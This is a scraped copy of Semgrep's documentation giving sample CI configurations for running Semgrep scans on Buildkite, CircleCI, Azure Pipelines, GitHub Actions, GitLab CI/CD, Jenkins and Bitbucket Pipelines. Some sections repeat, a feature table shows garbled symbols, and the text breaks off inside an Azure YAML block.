These steps can be performed within Buildkite's UI. To do so, navigate to Buildkite's main page, and click **Pipelines > New Pipeline**.
### Sample Buildkite configuration snippet
The following configuration creates a CI job that runs scans according to the products you have enabled in Semgrep AppSec Platform. The provided environment variables are commonly needed to correctly configure scans from Buildkite.
This file configures two mutually exclusive command steps, one for full scans, and one for diff-aware scans. The latter is used for pull requests or merge requests.
In order for this configuration to run the correct type of scan for each condition, it requires both [branch filtering](https://buildkite.com/pipelines/branch-configuration) and configuration to build on pull requests.
#### Branch filtering
In the Buildkite UI, go to the pipeline **Settings** and select the connected source code manager in the left sidebar.
Under **Branch Limiting**, enter your default branch name in the **Branch Filter Pattern** box. You can include any other branch names that require full scans as well, such as `release-*`.
Click **Save Branch Limiting**.
#### Build on pull requests
To run diff-aware scans, your pipeline must run builds on pull requests or merge requests. Buildkite integrates with several source code managers and each one has different options to handle PRs or MRs. The most common options are a checkbox within the pipeline settings, or webhooks within the source control manager. Review the [documentation for your source control](https://buildkite.com/integrations/source-control) system to ensure your Semgrep pipeline builds on pull requests or merge requests.
```yaml expandable theme={null}
- label: ":semgrep: Semgrep Full Scan"
commands:
- if [[ $BUILDKITE_COMMIT =~ ^[a-fA-F0-9]{40}$ ]]; then export SEMGREP_COMMIT=${BUILDKITE_COMMIT}; fi
- export SEMGREP_BRANCH=${BUILDKITE_BRANCH}
- export SEMGREP_REPO_URL=${BUILDKITE_REPO}
- export SEMGREP_REPO_NAME="$(echo "$BUILDKITE_REPO" | sed -e 's#git@github.com:##' | sed -e 's#.git##')"
- semgrep ci
if: |
build.pull_request.id == null
- label: ":semgrep: Semgrep Diff Scan"
commands:
- if [[ $BUILDKITE_COMMIT =~ ^[a-fA-F0-9]{40}$ ]]; then export SEMGREP_COMMIT=${BUILDKITE_COMMIT}; fi
- export SEMGREP_PR_ID=${BUILDKITE_PULL_REQUEST}
- export SEMGREP_BRANCH=${BUILDKITE_BRANCH}
- export SEMGREP_REPO_URL=${BUILDKITE_REPO}
- export SEMGREP_REPO_NAME="$(echo "$BUILDKITE_REPO" | sed -e 's#git@github.com:##' | sed -e 's#.git##')"
- SEMGREP_BASELINE_REF=${BUILDKITE_PULL_REQUEST_BASE_BRANCH} semgrep ci
if: |
build.pull_request.id != null
plugins:
- docker#v5.11.0:
image: semgrep/semgrep:latest
environment:
# The following variable is required to set up a scan connected to Semgrep AppSec Platform:
- "SEMGREP_APP_TOKEN"
```
You can [run specific product scans by passing the appropriate argument](/getting-started/cli#scan-using-specific-semgrep-products), such as `--supply-chain`.
The following configuration creates a CI job that runs Semgrep CE scans using rules configured for your programming language.
```yaml theme={null}
- label: ":semgrep: Semgrep CE"
commands:
- semgrep scan --config auto
plugins:
- docker#v5.11.0:
image: semgrep/semgrep
```
You can customize the scan by entering custom rules or other rulesets to scan with. See [Scan your codebase with a specific ruleset](/customize-semgrep-ce#scan-your-codebase-with-a-specific-ruleset).
## CircleCI
To add Semgrep into your CircleCI pipeline:
Create a [context](https://circleci.com/contexts/):
i. In CircleCI web app, click **Organization Settings** > **Contexts**.
ii. Click **Create Context**.
iii. Enter `semgrep` as the name for the context.
iv. Click **Add Environment Variable** and enter your `SEMGREP_APP_TOKEN`.
Create or edit your `config.yml` configuration file in the repository you want to scan.
Copy the relevant code snippet provided in [Sample CircleCI configuration snippet](#sample-circleci-configuration-snippet).
If your default branch is not `main`, change the occurrences of `main` to the name of your default branch.
Commit the updated `config.yml` configuration file into the `/.circleci` folder in the target repository.
The Semgrep job starts automatically upon detecting the `config.yml` update.
The sample configuration provides jobs for both full scanning and [diff-aware scanning](/deployment/customize-ci-jobs#set-up-diff-aware-scans), which scans only changed files in PRs or MRs. You do not need to create any other jobs.
CircleCI always runs the Semgrep CI job on all commits for the default branch and tags. If you want the job to scan only branches that have an associated a pull request open, you can enable the option "Only build pull requests" in **Project Settings** > **Advanced**.
### Sample CircleCI configuration snippet
The following configuration creates a CI job that runs scans using the products and options you have enabled in Semgrep AppSec Platform.
```yaml expandable theme={null}
version: 2.1
workflows:
semgrep:
jobs:
- semgrep-full-scan:
filters:
branches:
only: main
context:
- semgrep
- semgrep-diff-scan:
filters:
branches:
ignore: main
context:
- semgrep
jobs:
semgrep-full-scan:
docker:
- image: semgrep/semgrep
steps:
- checkout
- run:
name: "Semgrep full scan"
command: semgrep ci
semgrep-diff-scan:
parameters:
default_branch:
type: string
default: main
docker:
- image: semgrep/semgrep
steps:
- checkout
- run:
name: Semgrep diff scan
environment:
SEMGREP_BASELINE_REF: << parameters.default_branch >>
command: semgrep ci
```
You can **run specific product scans** by passing an argument, such as `--supply-chain`. View the [list of arguments](/getting-started/cli/#scan-using-specific-semgrep-products).
The following configuration creates a CI job that runs Semgrep CE scans using rules configured for your programming language.
```yaml expandable theme={null}
version: 2.1
workflows:
semgrep:
jobs:
- semgrep-full-scan:
filters:
branches:
only: main
context:
- semgrep
jobs:
semgrep-full-scan:
docker:
- image: semgrep/semgrep
steps:
- checkout
- run:
name: "Semgrep CE full scan"
command: semgrep scan --config auto
```
You can customize the scan by entering custom rules or other rulesets to scan with. See [Scan your codebase with a specific ruleset](/customize-semgrep-ce#scan-your-codebase-with-a-specific-ruleset).
## Azure Pipelines
**INFO**
Scanning a project with the `semgrep ci` command requires the project to be version-controlled by Git. If you have Azure Repos that are version-controlled with [Team Foundations Version Control](https://learn.microsoft.com/en-us/azure/devops/repos/tfvc/what-is-tfvc?view=azure-devops), they must be migrated to Git to be scanned with `semgrep ci` and have results reported to the Semgrep AppSec Platform.
To add Semgrep into Azure Pipelines:
Access the YAML pipeline editor within Azure Pipelines by following the [YAML pipeline editor](https://learn.microsoft.com/en-us/azure/devops/pipelines/get-started/yaml-pipeline-editor?view=azure-devops#edit-a-yaml-pipeline) guide.
Copy the code snippet provided in [Sample Azure Pipelines configuration snippet](#sample-azure-pipelines-configuration-snippet) into the Azure Pipelines YAML editor.
Save the code snippet.
Follow any additional instructions provided with the snippet.
### Sample Azure Pipelines configuration snippet
This configuration snippet is tested with **hosted** Azure runners. If you are using self-hosted runners, you may need to make adjustments to ensure that the necessary software is available. Consult [Semgrep with self-hosted Ubuntu runners in Azure Pipelines](/kb/semgrep-ci/azure-self-hosted-ubuntu) for two recommended options.
The following configuration creates a CI job that runs scans using the products and options you have enabled in Semgrep AppSec Platform.
```yaml expandable theme={null}
pool:
vmImage: ubuntu-latest
variables:
- group: Semgrep_Variables
steps:
- checkout: self
clean: true
fetchDepth: 20
persistCredentials: true
# Replace master with the repository default branch if different.
- script: |
python -m pip install --upgrade pipx
pipx install semgrep
if [ $(Build.SourceBranchName) = "master" ]; then
echo "Semgrep full scan"
semgrep ci
elif [ $(System.PullRequest.PullRequestId) -ge 0 ]; then
echo "Semgrep diff scan"
export SEMGREP_PR_ID=$(System.PullRequest.PullRequestId)
export SEMGREP_BASELINE_REF='origin/master'
git fetch origin master:origin/master
semgrep ci
fi
env:
SEMGREP_APP_TOKEN: $(SEMGREP_APP_TOKEN)
```
You can **run specific product scans** by passing an argument, such as `--supply-chain`. View the [list of arguments](/getting-started/cli/#scan-using-specific-semgrep-products).
### Set environment variables in Azure Pipelines
Semgrep minimally requires the variable `SEMGREP_APP_TOKEN` in order to report results to the platform, and other variables may be helpful as well. To set these variables in Azure Pipelines:
Set up a [variable group](https://learn.microsoft.com/en-us/azure/devops/pipelines/library/variable-groups?view=azure-devops\&tabs=classic) called `Semgrep_Variables`.
Set `SEMGREP_APP_TOKEN` in the variable group, following the steps for [secret variables](https://learn.microsoft.com/en-us/azure/devops/pipelines/process/set-secret-variables?view=azure-devops\&tabs=yaml%2Cbash#set-a-secret-variable-in-a-variable-group). The variable is mapped into the `env` in the provided config.
Optional: Add the following environment variables to the group if you aren't seeing hyperlinks to the code that generated a finding, or if you are not receiving PR or MR comments. Review the use of these variables at [Environment variables for creating hyperlinks in Semgrep AppSec Platform](/semgrep-ci/ci-environment-variables#environment-variables-for-creating-hyperlinks-in-semgrep-appsec-platform).These variables are not sensitive and do not need to be secret variables.
* `SEMGREP_REPO_NAME`
* `SEMGREP_REPO_URL`
* `SEMGREP_BRANCH`
* `SEMGREP_COMMIT`
* `SEMGREP_JOB_URL`
Set variables for diff-aware scanning. The provided config sets `SEMGREP_PR_ID` to the system variable `System.PullRequest.PullRequestId` and `SEMGREP_BASELINE_REF` to `origin/master` within the `script` section of the config. The value of `SEMGREP_BASELINE_REF` is typically your trunk or default branch, so if you use a different branch than master, update the name accordingly. as `main` or `master`.
* If you prefer not to implement diff-aware scanning, you can skip setting these variables and remove the `elif` section of the `script` step.
For diff-aware scans: add a [build validation policy](https://learn.microsoft.com/en-us/azure/devops/repos/git/branch-policies?view=azure-devops\&tabs=browser#build-validation). Adding and enabling a branch policy for build validation is required to trigger Azure Pipelines on pull requests.
The following configuration creates a CI job that runs Semgrep CE scans using rules configured for your programming language.
```yaml theme={null}
steps:
- checkout: self
clean: true
fetchDepth: 20
persistCredentials: true
- script: |
python -m pip install --upgrade pipx
pipx install semgrep
echo "Semgrep CE full scan"
semgrep scan --config auto
```
You can customize the scan by entering custom rules or other rulesets to scan with. See [Scan your codebase with a specific ruleset](/customize-semgrep-ce#scan-your-codebase-with-a-specific-ruleset).
## Other providers
To run Semgrep CI on any other provider, use the `semgrep/semgrep` image, and run the `semgrep ci` command with `SEMGREP_BASELINE_REF` set for diff-aware scanning.
**NOTE**:
If you need to use a different Docker image or are not running in Docker, install Semgrep CI with [`pipx`](https://pipx.pypa.io/stable/how-to/install-pipx/) using `pipx install semgrep`, or with [`uv`](https://docs.astral.sh/uv/) using `uv tool install semgrep`.
By setting various [CI environment variables](/semgrep-ci/ci-environment-variables), you can run Semgrep in the following CI providers:
* AppVeyor
* Bamboo
* Bitrise
* Buildbot
* Codeship
* Codefresh
* Drone CI
* Semaphore
* TeamCity CI
* Travis CI
Is your CI provider missing? Let the Semgrep team know by [ filing an issue](https://github.com/semgrep/semgrep-docs/issues/), or [ submit a contribution](https://github.com/semgrep/semgrep-docs/pulls/).
# Sample continuous integration (CI) configurations
Source: https://docs.semgrep.dev/semgrep-ci/sample-ci-configs-1
This document provides sample configuration snippets to run Semgrep CI on various continuous integration (CI) providers.
## Feature support
Support for certain features of Semgrep AppSec Platform depends on your CI provider or source code management (SCM) tool.
| Feature | GitHub with GitHub Actions | GitLab with GL CI/CD | \*GitHub, GitLab, or Bitbucket with other CI providers |
| :------------------------- | :----------------------------------- | :-------------------------- | :----------------------------------------------------- |
| **Diff-aware scanning** | β | β | β |
| **Hyperlinks** | β | β | β |
| **PR or MR comments** | β | β | β |
| **SCM security dashboard** | β GitHub Advanced Security Dashboard | β GitLab Security Dashboard | β No |
\*For example, if you use CircleCI as your CI provider on a GitHub repository, Semgrep AppSec Platform does not have any support for GitHub Advanced Security Dashboard.
### Feature definitions
| Feature | Description |
| :------------------------------------------------ | :----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Diff-aware scanning | Semgrep AppSec Platform can scan only changes in files when running on a pull request or merge request (PR or MR). This keeps the scan fast and reduces finding duplication. |
| Hyperlinks to code | Semgrep AppSec Platform collects findings in a Findings page. In this page, you can click on a finding to return to your SCM (GitHub, GitLab, or Bitbucket) to view the lines of code in your repository that generated the finding. |
| Receiving results (findings) as PR or MR comments | This feature enables you to receive PR or MR comments from Semgrep AppSec Platform on the lines of code that generated a finding. |
| SCM security dashboard | Send Semgrep findings to your SCM's security dashboard. |
## GitHub Actions
To add a Semgrep configuration file in your GitHub Actions pipeline:
Create a `semgrep.yml` file in `.github/workflows` in the repository you want to scan.
Copy the relevant code snippet provided in [Sample GitHub Actions configuration file](#sample-github-actions-configuration-file).
Paste the relevant code snippet to `semgrep.yml` file. This is your Semgrep configuration file for GitHub Actions.
Commit the configuration file under /REPOSITORY-ROOT-DIRECTORY/.github/workflows/semgrep.yml.
The Semgrep job starts automatically upon detecting the committed `semgrep.yml` file.
**NOTE**
If you are self-hosting your repository, you must [use a self-hosted runner](https://docs.github.com/en/actions/using-jobs/choosing-the-runner-for-a-job#choosing-self-hosted-runners).
### Sample GitHub Actions configuration file
The following configuration creates a CI job that runs scans using the products and options you have enabled in Semgrep AppSec Platform.
```yaml expandable theme={null}
# Name of this GitHub Actions workflow.
name: Semgrep
on:
# Scan changed files in PRs (diff-aware scanning):
pull_request: {}
# Scan on-demand through GitHub Actions interface:
workflow_dispatch: {}
# Scan mainline branches if there are changes to .github/workflows/semgrep.yml:
push:
branches:
- main
- master
paths:
- .github/workflows/semgrep.yml
# Schedule the CI job (this method uses cron syntax):
schedule:
- cron: '20 17 * * *' # Sets Semgrep to scan every day at 17:20 UTC.
# It is recommended to change the schedule to a random time.
permissions:
contents: read
jobs:
semgrep:
# User definable name of this GitHub Actions job.
name: semgrep/ci
# If you are self-hosting, change the following `runs-on` value:
runs-on: ubuntu-latest
container:
# A Docker image with Semgrep installed. Do not change this.
image: semgrep/semgrep
# Skip any PR created by dependabot to avoid permission issues:
if: (github.actor != 'dependabot[bot]')
steps:
# Fetch project source with GitHub Actions Checkout. Use either v3 or v4.
- uses: actions/checkout@v6
# Run the "semgrep ci" command on the command line of the docker image.
- run: semgrep ci
env:
# Connect to Semgrep AppSec Platform through your SEMGREP_APP_TOKEN.
# Generate a token from Semgrep AppSec Platform > Settings
# and add it to your GitHub secrets.
SEMGREP_APP_TOKEN: ${{ secrets.SEMGREP_APP_TOKEN }}
```
You can **run specific product scans** by passing an argument, such as `--supply-chain`. View the [list of arguments](/getting-started/cli/#scan-using-specific-semgrep-products).
The following configuration creates a CI job that runs Semgrep Community Edition (CE) scans using rules configured for your programming language.
```yaml expandable theme={null}
# Name of this GitHub Actions workflow.
name: Semgrep CE scan
on:
# Scan in PRs:
pull_request: {}
# Scan on-demand through GitHub Actions interface:
workflow_dispatch: {}
# Scan mainline branches and report all findings:
push:
branches: ["master", "main"]
# Schedule the CI job (this method uses cron syntax):
schedule:
- cron: '20 17 * * *' # Sets Semgrep to scan every day at 17:20 UTC.
# It is recommended to change the schedule to a random time.
permissions:
contents: read
jobs:
semgrep:
# User definable name of this GitHub Actions job.
name: semgrep-oss/scan
# If you are self-hosting, change the following `runs-on` value:
runs-on: ubuntu-latest
container:
# A Docker image with Semgrep installed. Do not change this.
image: semgrep/semgrep
# Skip any PR created by dependabot to avoid permission issues:
if: (github.actor != 'dependabot[bot]')
steps:
# Fetch project source with GitHub Actions Checkout. Use either v3 or v4.
- uses: actions/checkout@v6
# Run the "semgrep scan" command on the command line of the docker image.
- run: semgrep scan --config auto
```
You can customize the scan by entering custom rules or other rulesets to scan with. See [Scan your codebase with a specific ruleset](/customize-semgrep-ce#scan-your-codebase-with-a-specific-ruleset).
**CAUTION**
If you define both `branches` or `branches-ignore` *and* `paths` or `paths-ignore`, the workflow only runs when both filters are satisfied.
For example, if your configuration file includes the following definition, the workflow runs only if there are changes on the `development` branch to `.github/workflows/semgrep.yml` :
```yaml theme={null}
push:
branches:
- development
paths:
- .github/workflows/semgrep.yml
```
## GitLab CI/CD
To add a Semgrep configuration snippet in your GitLab CI/CD pipeline:
Create or edit your `.gitlab-ci.yml` file in the repository you want to scan.
Copy the relevant code snippet provided in [Sample GitLab CI/CD configuration snippet](#sample-gitlab-cicd-configuration-snippet), and then paste it to your `.gitlab-ci.yml` file.
Commit the updated `.gitlab-ci.yml` file.
The Semgrep job starts automatically upon detecting the committed `.gitlab-ci.yml` file. You can also view the job from your GitLab project's **CI/CD > Pipelines** page.
### Sample GitLab CI/CD configuration snippet
The following configuration creates a CI job that runs scans using the products and options you have enabled in Semgrep AppSec Platform.
```yaml theme={null}
semgrep:
# A Docker image with Semgrep installed.
image: semgrep/semgrep
# Run the "semgrep ci" command on the command line of the docker image.
script: semgrep ci
rules:
# Allow triggering a scan manually from the GitLab UI
- if: $CI_PIPELINE_SOURCE == "web"
# Scan changed files in MRs, (diff-aware scanning):
- if: $CI_MERGE_REQUEST_IID
# Scan mainline (default) branches and report all findings.
- if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
variables:
# Connect to Semgrep AppSec Platform through your SEMGREP_APP_TOKEN.
# Generate a token from Semgrep AppSec Platform > Settings
# and add it as a variable in your GitLab CI/CD project settings.
SEMGREP_APP_TOKEN: $SEMGREP_APP_TOKEN
```
You can **run specific product scans** by passing an argument, such as `--supply-chain`. View the [list of arguments](/getting-started/cli/#scan-using-specific-semgrep-products).
Prefer to use GitLab group variables? See [this guide](/kb/semgrep-code/gitlab-group-variables) for an appropriate configuration.
The following configuration creates a CI job that runs Semgrep CE scans using rules configured for your programming language.
```yaml theme={null}
semgrep:
# A Docker image with Semgrep installed.
image: semgrep/semgrep
# Run the "semgrep scan" command on the command line of the docker image.
script: semgrep scan --config auto .
rules:
# Scan in MRs.
- if: $CI_MERGE_REQUEST_IID
# Scan mainline (default) branches and report all findings.
- if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
```
You can customize the scan by entering custom rules or other rulesets to scan with. See [Scan your codebase with a specific ruleset](/customize-semgrep-ce#scan-your-codebase-with-a-specific-ruleset).
## Jenkins
**NOTE**
Your user interface (UI) may vary depending on your Jenkins installation. The following steps refer to Jenkins' Classic UI.
To add a Semgrep configuration snippet in your Jenkins pipeline:
Create or edit your `Jenkinsfile` configuration file in the repository you want to scan. You can also edit your `Jenkinsfile` from Jenkins's interface.
Copy the relevant code snippet provided in [Sample Jenkins configuration snippet](#sample-jenkins-configuration-snippet).
Paste the code to your `Jenkinsfile`, and then commit the file.
The Semgrep job starts automatically upon detecting the `Jenkinsfile` update.
Optional: Create a separate CI job for diff-aware scanning, which scans only changed files in PRs or MRs, by repeating steps 1-3 and uncommenting the `SEMGREP_BASELINE_REF` definition provided within the code snippet.
### Sample Jenkins configuration snippet
The following configuration creates a CI job that runs scans using the products and options you have enabled in Semgrep AppSec Platform.
```js expandable theme={null}
pipeline {
agent any
environment {
// The following variable is required for a Semgrep AppSec Platform-connected scan:
SEMGREP_APP_TOKEN = credentials('SEMGREP_APP_TOKEN')
// Uncomment the following line to scan changed
// files in PRs or MRs (diff-aware scanning):
// SEMGREP_BASELINE_REF = "main"
// Troubleshooting:
// Uncomment the following lines if Semgrep AppSec Platform > Findings Page does not create links
// to the code that generated a finding or if you are not receiving PR or MR comments.
// SEMGREP_JOB_URL = "${BUILD_URL}"
// SEMGREP_COMMIT = "${GIT_COMMIT}"
// SEMGREP_BRANCH = "${GIT_BRANCH}"
// SEMGREP_REPO_NAME = env.GIT_URL.replaceFirst(/^https:\/\/github.com\/(.*).git$/, '$1')
// SEMGREP_REPO_URL = env.GIT_URL.replaceFirst(/^(.*).git$/,'$1')
// SEMGREP_PR_ID = "${env.CHANGE_ID}"
}
stages {
stage('Semgrep-Scan') {
steps {
sh '''docker pull semgrep/semgrep && \
docker run \
-e SEMGREP_APP_TOKEN=$SEMGREP_APP_TOKEN \
-e SEMGREP_REPO_URL=$SEMGREP_REPO_URL \
-e SEMGREP_REPO_NAME=$SEMGREP_REPO_NAME \
-e SEMGREP_BRANCH=$SEMGREP_BRANCH \
-e SEMGREP_COMMIT=$SEMGREP_COMMIT \
-e SEMGREP_PR_ID=$SEMGREP_PR_ID \
-v "$(pwd):$(pwd)" --workdir $(pwd) \
semgrep/semgrep semgrep ci '''
}
}
}
}
```
You can **run specific product scans** by passing an argument, such as `--supply-chain`. View the [list of arguments](/getting-started/cli/#scan-using-specific-semgrep-products).
The following configuration creates a CI job that runs Semgrep CE scans using rules configured for your programming language.
This code snippet uses Jenkins declarative syntax.
```groovy theme={null}
pipeline {
agent any
stages {
stage('Semgrep-Scan') {
steps {
sh 'pipx install semgrep'
sh 'semgrep scan --config auto'
}
}
}
}
```
You can customize the scan by entering custom rules or other rulesets to scan with. See [Scan your codebase with a specific ruleset](/customize-semgrep-ce#scan-your-codebase-with-a-specific-ruleset).
## Bitbucket Pipelines
To add a Semgrep configuration snippet into Bitbucket Pipelines:
Create or edit your `bitbucket-pipelines.yml` file in the repository you want to scan.
Copy the relevant code snippet provided in [Sample Bitbucket Pipelines configuration snippet](#sample-bitbucket-pipelines-configuration-snippet), and then paste it to your `bitbucket-pipelines.yml`.
Commit the updated `bitbucket-pipelines.yml` configuration file.
The Semgrep job starts automatically upon detecting the committed `bitbucket-pipelines.yml` file. You can view the job through Bitbucket's interface, by clicking **REPOSITORY\_NAME > Pipelines**.
Optional: Create a daily scheduled run for the custom pipeline on the main branch by [scheduling a pipeline in Bitbucket](https://support.atlassian.com/bitbucket-cloud/pipeline-triggers/#On-schedule).
**NOTE**
These steps can also be performed through Bitbucket's UI wizard. This UI wizard can be accessed through **Bitbucket > REPOSITORY\_NAME > Pipelines > Create your first pipeline**.
### Sample Bitbucket Pipelines configuration snippet
The following configuration creates a CI job that runs scans using the products and options you have enabled in Semgrep AppSec Platform.
```yaml expandable theme={null}
image: semgrep/semgrep:latest
pipelines:
branches:
# Change to your default branch if different from main
main:
- step:
name: Semgrep scan on push
script:
- export SEMGREP_APP_TOKEN=$SEMGREP_APP_TOKEN
- semgrep ci
pull-requests:
'**': # This applies to pull requests for all branches
- step:
name: Semgrep scan on PR
script:
- export SEMGREP_APP_TOKEN=$SEMGREP_APP_TOKEN
# Change to your default branch if different from main
- export SEMGREP_BASELINE_REF="origin/main"
- git fetch origin "+refs/heads/*:refs/remotes/origin/*"
- semgrep ci
custom:
# Trigger job manually. For cron in Bitbucket, see: https://support.atlassian.com/bitbucket-cloud/pipeline-triggers/#On-schedule
semgrep-manual:
- step:
name: Semgrep manual scan
script:
- export SEMGREP_APP_TOKEN=$SEMGREP_APP_TOKEN
- semgrep ci
```
You can **run specific product scans** by passing an argument, such as `--supply-chain`. View the [list of arguments](/getting-started/cli/#scan-using-specific-semgrep-products).
The following configuration creates a CI job that runs Semgrep CE scans using rules configured for your programming language.
```yaml theme={null}
image: semgrep/semgrep:latest
pipelines:
default:
- parallel:
- step:
name: 'Run Semgrep scan with current branch'
deployment: dev # https://support.atlassian.com/bitbucket-cloud/set-up-and-monitor-deployments/
script:
- semgrep scan --config auto
```
You can customize the scan by entering custom rules or other rulesets to scan with. See [Scan your codebase with a specific ruleset](/customize-semgrep-ce#scan-your-codebase-with-a-specific-ruleset).
**TIP**
If the pipeline's default runner runs out of memory, you can limit the number of subprocesses Semgrep uses with the [`-j` flag](/cli-reference), or [add the `size` directive](https://support.atlassian.com/bitbucket-cloud/global-options/#Size) to the Semgrep step to increase the memory available:
```yaml theme={null}
pipelines:
default:
- step:
size: 2x
script:
- echo "This step gets double the memory!"
```
## Buildkite
To add Semgrep into your Buildkite pipeline:
Prepare a configuration file to add a Semgrep scan as part of your pipeline. This configuration file can be stored within Buildkite or as a `pipeline.yml` file in the target repository.
Copy the code snippet provided in [Sample Buildkite configuration snippet](#sample-buildkite-configuration-snippet), making alterations if necessary for your environment.
If you are using Buildkite to store the configuration, save the updated file. Otherwise, commit the updated `pipeline.yml` file into the `/.buildkite` folder within the target repository.
The Semgrep job starts automatically upon detecting the committed `pipeline.yml` file. Alternatively, if you are using the Buildkite UI, you can select **New build**. You can view the job through Buildkite's interface by clicking **Pipelines > pipeline name**.
**NOTE**
These steps can be performed within Buildkite's UI. To do so, navigate to Buildkite's main page, and click **Pipelines > New Pipeline**.
### Sample Buildkite configuration snippet
The following configuration creates a CI job that runs scans according to the products you have enabled in Semgrep AppSec Platform. The provided environment variables are commonly needed to correctly configure scans from Buildkite.
This file configures two mutually exclusive command steps, one for full scans, and one for diff-aware scans. The latter is used for pull requests or merge requests.
In order for this configuration to run the correct type of scan for each condition, it requires both [branch filtering](https://buildkite.com/pipelines/branch-configuration) and configuration to build on pull requests.
#### Branch filtering
In the Buildkite UI, go to the pipeline **Settings** and select the connected source code manager in the left sidebar.
Under **Branch Limiting**, enter your default branch name in the **Branch Filter Pattern** box. You can include any other branch names that require full scans as well, such as `release-*`.
Click **Save Branch Limiting**.
#### Build on pull requests
To run diff-aware scans, your pipeline must run builds on pull requests or merge requests. Buildkite integrates with several source code managers and each one has different options to handle PRs or MRs. The most common options are a checkbox within the pipeline settings, or webhooks within the source control manager. Review the [documentation for your source control](https://buildkite.com/integrations/source-control) system to ensure your Semgrep pipeline builds on pull requests or merge requests.
```yaml expandable theme={null}
- label: ":semgrep: Semgrep Full Scan"
commands:
- if [[ $BUILDKITE_COMMIT =~ ^[a-fA-F0-9]{40}$ ]]; then export SEMGREP_COMMIT=${BUILDKITE_COMMIT}; fi
- export SEMGREP_BRANCH=${BUILDKITE_BRANCH}
- export SEMGREP_REPO_URL=${BUILDKITE_REPO}
- export SEMGREP_REPO_NAME="$(echo "$BUILDKITE_REPO" | sed -e 's#git@github.com:##' | sed -e 's#.git##')"
- semgrep ci
if: |
build.pull_request.id == null
- label: ":semgrep: Semgrep Diff Scan"
commands:
- if [[ $BUILDKITE_COMMIT =~ ^[a-fA-F0-9]{40}$ ]]; then export SEMGREP_COMMIT=${BUILDKITE_COMMIT}; fi
- export SEMGREP_PR_ID=${BUILDKITE_PULL_REQUEST}
- export SEMGREP_BRANCH=${BUILDKITE_BRANCH}
- export SEMGREP_REPO_URL=${BUILDKITE_REPO}
- export SEMGREP_REPO_NAME="$(echo "$BUILDKITE_REPO" | sed -e 's#git@github.com:##' | sed -e 's#.git##')"
- SEMGREP_BASELINE_REF=${BUILDKITE_PULL_REQUEST_BASE_BRANCH} semgrep ci
if: |
build.pull_request.id != null
plugins:
- docker#v5.11.0:
image: semgrep/semgrep:latest
environment:
# The following variable is required to set up a scan connected to Semgrep AppSec Platform:
- "SEMGREP_APP_TOKEN"
```
You can [run specific product scans by passing the appropriate argument](/getting-started/cli#scan-using-specific-semgrep-products), such as `--supply-chain`.
The following configuration creates a CI job that runs Semgrep CE scans using rules configured for your programming language.
```yaml theme={null}
- label: ":semgrep: Semgrep CE"
commands:
- semgrep scan --config auto
plugins:
- docker#v5.11.0:
image: semgrep/semgrep
```
You can customize the scan by entering custom rules or other rulesets to scan with. See [Scan your codebase with a specific ruleset](/customize-semgrep-ce#scan-your-codebase-with-a-specific-ruleset).
## CircleCI
To add Semgrep into your CircleCI pipeline:
Create a [context](https://circleci.com/contexts/):
i. In CircleCI web app, click **Organization Settings** > **Contexts**.
ii. Click **Create Context**.
iii. Enter `semgrep` as the name for the context.
iv. Click **Add Environment Variable** and enter your `SEMGREP_APP_TOKEN`.
Create or edit your `config.yml` configuration file in the repository you want to scan.
Copy the relevant code snippet provided in [Sample CircleCI configuration snippet](#sample-circleci-configuration-snippet).
If your default branch is not `main`, change the occurrences of `main` to the name of your default branch.
Commit the updated `config.yml` configuration file into the `/.circleci` folder in the target repository.
The Semgrep job starts automatically upon detecting the `config.yml` update.
The sample configuration provides jobs for both full scanning and [diff-aware scanning](/deployment/customize-ci-jobs#set-up-diff-aware-scans), which scans only changed files in PRs or MRs. You do not need to create any other jobs.
CircleCI always runs the Semgrep CI job on all commits for the default branch and tags. If you want the job to scan only branches that have an associated a pull request open, you can enable the option "Only build pull requests" in **Project Settings** > **Advanced**.
### Sample CircleCI configuration snippet
The following configuration creates a CI job that runs scans using the products and options you have enabled in Semgrep AppSec Platform.
```yaml expandable theme={null}
version: 2.1
workflows:
semgrep:
jobs:
- semgrep-full-scan:
filters:
branches:
only: main
context:
- semgrep
- semgrep-diff-scan:
filters:
branches:
ignore: main
context:
- semgrep
jobs:
semgrep-full-scan:
docker:
- image: semgrep/semgrep
steps:
- checkout
- run:
name: "Semgrep full scan"
command: semgrep ci
semgrep-diff-scan:
parameters:
default_branch:
type: string
default: main
docker:
- image: semgrep/semgrep
steps:
- checkout
- run:
name: Semgrep diff scan
environment:
SEMGREP_BASELINE_REF: << parameters.default_branch >>
command: semgrep ci
```
You can **run specific product scans** by passing an argument, such as `--supply-chain`. View the [list of arguments](/getting-started/cli/#scan-using-specific-semgrep-products).
The following configuration creates a CI job that runs Semgrep CE scans using rules configured for your programming language.
```yaml expandable theme={null}
version: 2.1
workflows:
semgrep:
jobs:
- semgrep-full-scan:
filters:
branches:
only: main
context:
- semgrep
jobs:
semgrep-full-scan:
docker:
- image: semgrep/semgrep
steps:
- checkout
- run:
name: "Semgrep CE full scan"
command: semgrep scan --config auto
```
You can customize the scan by entering custom rules or other rulesets to scan with. See [Scan your codebase with a specific ruleset](/customize-semgrep-ce#scan-your-codebase-with-a-specific-ruleset).
## Azure Pipelines
**INFO**
Scanning a project with the `semgrep ci` command requires the project to be version-controlled by Git. If you have Azure Repos that are version-controlled with [Team Foundations Version Control](https://learn.microsoft.com/en-us/azure/devops/repos/tfvc/what-is-tfvc?view=azure-devops), they must be migrated to Git to be scanned with `semgrep ci` and have results reported to the Semgrep AppSec Platform.
To add Semgrep into Azure Pipelines:
Access the YAML pipeline editor within Azure Pipelines by following the [YAML pipeline editor](https://learn.microsoft.com/en-us/azure/devops/pipelines/get-started/yaml-pipeline-editor?view=azure-devops#edit-a-yaml-pipeline) guide.
Copy the code snippet provided in [Sample Azure Pipelines configuration snippet](#sample-azure-pipelines-configuration-snippet) into the Azure Pipelines YAML editor.
Save the code snippet.
Follow any additional instructions provided with the snippet.
### Sample Azure Pipelines configuration snippet
This configuration snippet is tested with **hosted** Azure runners. If you are using self-hosted runners, you may need to make adjustments to ensure that the necessary software is available. Consult [Semgrep with self-hosted Ubuntu runners in Azure Pipelines](/kb/semgrep-ci/azure-self-hosted-ubuntu) for two recommended options.
The following configuration creates a CI job that runs scans using the products and options you have enabled in Semgrep AppSec Platform.
```yaml expandable theme={null}
pool:
vmImage: ubuntu-latest
variables:
- group: Semgrep_Variables
steps:
- checkout: self
clean: true
fetchDepth: 20
persistCredentials: true
# Replace master with the repository default branch if different.
- script: |
python -m pip install --upgrade pipx
pipx install semgrep
